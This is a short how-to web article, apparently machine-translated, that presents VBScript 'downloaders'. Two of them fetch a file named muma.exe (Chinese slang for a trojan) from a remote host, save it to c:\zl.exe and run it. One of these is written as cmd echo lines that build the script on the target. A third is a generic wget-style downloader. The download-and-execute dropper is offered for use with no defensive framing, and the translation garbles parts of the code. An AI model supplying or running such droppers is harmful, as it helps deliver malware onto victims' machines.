Get the App
SLTechnology News&Howtos  ›  Development  › 

How to download files through vbscript

Shulou Source: shulou.com Published: 2022-06-03 08:43:12 10月06日 Update

This article mainly introduces how to achieve file download through vbscript, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let Xiaobian take you to understand it.

1. VBS downloaders:

The code is as follows:

Set Post = CreateObject ("Msxml2.XMLHTTP")

Set Shell = CreateObject ("Wscript.Shell")

Post.Open "GET", "http://www.jbzj.com/muma.exe",0"

Post.Send ()

Set aGet = CreateObject ("ADODB.Stream")

AGet.Mode = 3

AGet.Type = 1

AGet.Open ()

AGet.Write (Post.responseBody)

AGet.SaveToFile "c:\ zl.exe", 2

Wscript.sleep 1000

Shell.Run ("c:\ zl.exe") 'executes the download file after delay

2. The version executed under cmd:

The code is as follows:

Echo Set Post = CreateObject ("Msxml2.XMLHTTP") > > zl.vbs

Echo Set Shell = CreateObject ("Wscript.Shell") > > zl.vbs

Echo Post.Open "GET", "http://www.jbzj.com/muma.exe",0 > > zl.vbs

Echo Post.Send () > > zl.vbs

Echo Set aGet = CreateObject ("ADODB.Stream") > > zl.vbs

Echo aGet.Mode = 3 > > zl.vbs

Echo aGet.Type = 1 > > zl.vbs

Echo aGet.Open () > > zl.vbs

Echo aGet.Write (Post.responseBody) > > zl.vbs

Echo aGet.SaveToFile "c:\ zl.exe", 2 > > zl.vbs

Echo wscript.sleep 1000 > > zl.vbs

Echo Shell.Run ("c:\ zl.exe") > > zl.vbs

III. Wget.vbs

The code is as follows:

On error resume next

ILocal=LCase (Wscript.Arguments (1))

IRemote=LCase (Wscript.Arguments (0))

IUser=LCase (Wscript.Arguments (2))

IPass=LCase (Wscript.Arguments (3))

Set xPost=CreateObject ("Microsoft.XMLHTTP")

If iUser= "" and iPass= "" then

XPost.Open "GET", iRemote,0

Else

XPost.Open "GET", iRemote,0,iUser,iPass

End if

XPost.Send ()

Set sGet=CreateObject ("ADODB.Stream")

SGet.Mode=3

SGet.Type=1

SGet.Open ()

SGet.Write xPost.ResponseBody

SGet.SaveToFile iLocal,2

Thank you for reading this article carefully. I hope the article "how to download files through vbscript" shared by the editor will be helpful to everyone. At the same time, I also hope you can support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!

Tags: Articles documents code file downloads value interests at the same time more friends versions knowledge editing industry information information channels later channels references learning help Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Huawei Shulou Tech Info Microsoft OPPO Reno Redmi